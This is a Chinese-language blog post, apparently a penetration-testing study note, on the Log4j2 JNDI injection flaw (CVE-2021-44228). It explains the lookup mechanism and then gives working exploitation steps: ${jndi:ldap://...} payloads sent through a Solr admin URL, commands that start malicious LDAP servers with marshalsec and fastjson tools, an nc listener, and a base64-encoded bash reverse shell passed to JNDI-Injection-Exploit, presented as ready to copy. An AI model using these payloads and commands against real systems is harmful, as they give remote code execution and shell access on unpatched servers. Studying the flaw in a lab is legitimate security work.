Log4j2

简介

Apache log4j 是Apache 的一个开源项目, Apache log4j2 是一个Java 的日志记录工具。该工具重写了log4j 框架,并且引入了大量丰富的特性。我们可以控制日志信息输送的目的地为控制台、文件、GUI组件等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。

漏洞简介

log4j2 中存在JNDI 注入漏洞,当程序记录用户输入的数据时,即可触发该漏洞。成功利用该漏洞可在目标服务器上执行任意代码。

下面是触发漏洞的两部分关键代码:

  1. org.apache.logging.log4j.core.pattern.MessagePatternConverter 的 format() 方法(表达式内容替换):
    这部分内容重点就在于代码的主要内容就是一旦发现日志中包含 ${ 就会将表达式的内容替换为表达式解析后的内容,而不是表达式本身,从而导致攻击者构造符合要求的表达式供系统执行。在 ${ 中可以使用的部分关键词如下:

log4j2

1
2
3
4
5
6
${java:version}    getSystemProperty("java.version")
${java:runtime} getRuntime()
${java:vm} getVirtualMachine()
${java:os} getOperatingSystem()
${java:hw} getHardware()
${java:locale} getLocale()

linux

1
2
3
4
5
${env:CLASSPATH}
${env:HOME}
${env:JAVA_HOME}
${env:LANG}
${env:LC_TERMINAL}
  1. apache.logging.log4j.core.lookup.StrSubstitutor(提取字符串,并通过 lookup 进行内容替换)

日志在打印时当遇到 ${ 后,Interpolator 类以:号作为分割,将表达式内容分割成两部分,前面部分作
为 prefix,后面部分作为 key。然后通过 prefix 去找对应的 lookup,通过对应的 lookup 实例调用lookup 方法,最后将 key 作为参数带入执行。
由于log4j2 支持很多协议,例如通过 ldap 查找变量,通过 docker 查找变量,通过rmi等等。目前看到使用最多的主要是使用ldap来构造payload:

1
${jndi:ldap://ip/port/exp}

最终效果就是通过 jndi 注入,借助 ldap 服务来下载执行恶意 payload,从而执行命令
整个利用流程分两步:
第一步:向目标发送指定 payload,目标对 payload 进行解析执行,然后会通过 ldap 链接远程服务,当 ldap 服务收到请求之后,将请求进行重定向到恶意 java class 的地址。
第二步:目标服务器收到重定向请求之后,下载恶意 class 并执行其中的代码,从而执行系统命令。

影响范围

  1. 影响组件应用

    Apache Struts2
    Apache Solr Apache Druid Apache Flink
    srping-boot-strater-log4j2

  2. 影响Log4j版本

    Apache Log4j 2.0 ~ 2.15.0-rc1

证明漏洞

http: //dnslog.cn/
https: //www.callback.red/

${jndi:ldap://9xovk0.dnslog.cn}

${jndi:ldap://${sys:java.version}.vebwc2.dnslog.cn}

http://IP地址:端口/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.vebwc2.dnslog.cn}

image-20240120231646952

发现已经被解析了

image-20240120231715299

说明存在漏洞

现在我想测试处java的版本,只需要利用上问提到的log4j2相关的变量就可以了

image-20240120231932985

image-20240120231926897

CVE-2021-44228

漏洞利用

方法一

  1. 这个是使用gndi注入利用的

  2. 启动http服务,该目录下有exploit.class

  3. 启动ldap服务

    直接执行反弹shell

    1
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://120.27.61.239:8000/#Exploit" 9999
  4. 监听端口

    1
    nc -lvvp 22345
  5. 使用jndi ldap协议访问

    1
    http://192.168.79.128:8983/solr/admin/cores?action=${jndi:ldap://192.168.79.1:9999/Exploit}

    访问的是开启了ldap服务的地址

    image-20240120233645712

  6. 成功反弹

    image-20240120233711167

方法二

利用fastjson的工具,自动化生成一个ldap服务器

1
java -cp fastjson_tool.jar fastjson.HLDAPServer 192.168.79.1 9999 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljc5LjEzOC8yMjM0NSAwPiYx}|{base64,-d}|{bash,-i}"

image-20240120234927739

image-20240120234948111

image-20240120234958286

方法三

1
https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0

直接使用工具

1
java -jar .\JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljc5LjEzOC8yMjM0NSAwPiYx}|{base64,-d}|{bash,-i}" -A 192.168.79.1

image-20240121000137942

复制直接用,我测试的时候是需要等一下,不知道为什么


Log4j2
https://tsy244.github.io/2024/01/20/渗透/Log4j2/
Author
August Rosenberg
Posted on
January 20, 2024
Licensed under